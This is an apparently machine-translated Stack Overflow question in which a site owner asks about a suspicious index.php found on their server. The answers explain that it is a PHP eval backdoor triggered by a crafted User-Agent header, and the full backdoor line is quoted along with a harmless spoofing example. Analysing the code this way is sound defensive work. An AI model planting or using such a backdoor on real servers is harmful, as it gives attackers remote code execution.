我今天正在寻求你的帮助,以获得我今天早上在我的FTP中创建的文件的帮助。我并不是所有PHP函数的专业人员,所以这就是我在这里发布的原因。
我找到的是子图像文件夹中名为 index.php 的文件。
有原始代码:
<?php
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
?>
两个PHP函数
对于函数 eval(),他们说它非常危险。
警告 eval()语言结构非常危险,因为它允许执行任意PHP代码。因此不鼓励使用它。 如果您已经仔细确认除了以外没有其他选择 使用此构造,请特别注意不要传递任何用户 提供数据而未事先正确验证。
这就是为什么我认为可能是某人试图破解我的网站甚至更多。
任何人都有能力解码这个并向我解释一下吗?
THX,
答案 0 :(得分:3)
是的,这是一个简单的评估后门,安装后可以让人们以后随时回来并使用你的服务器来处理他们想要的任何恶意。
它接受以Mozilla/5.0 (3.1.final)
开头的用户代理字符串(不是真正的用户代理字符串),并将字符串的其余部分视为PHP代码,该代码通过eval
调用执行。
(奇怪的是,他们使用了这个用户代理,因为该字段通常记录在标准的Web日志中。使用POST字段或cookie会更加隐蔽。)
答案 1 :(得分:2)
让我们从开始就开始吧。
eregi
是自PHP 5.3.0起的弃用函数。eregi
是一个不区分大小写的正则表达式。if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {
如果final
中有HTTP_USER_AGENT
,那么......
替换&#39; Mozilla / 5.0(3.1.final)&#39;在HTTP_USER_AGENT
中使用[空白]。并杀死剧本。
在改变您网站上的数据方面效果不佳,但会导致您的网站失效&#34;对于user agent中 final
这个词的任何人 - 我认为,这将是每个主要浏览器发布的所有最终版本;虽然我找不到任何相关资料。
eval
让我感到疑惑。由于很明显你没有把它放在这里,eval
将评估代码并执行它 - 这是攻击的一个问题。某人获取远程代码在您的网站上执行的唯一方法是&#34;恶搞&#34;他们的用户代理确保他们在那里有短语Mozilla/5.0 (3.1.final)
,然后是他们想要执行的所有代码。例如;
我欺骗我的用户代理成为
Mozilla/5.0 (3.1.final) echo 'Lol, you got hacked'
由于str_replace
,屏幕只会呈现单词Lol, you got hacked
,因为eval
会执行echo
。当然,攻击者会将更多有害的命令进行评估。 立即删除此代码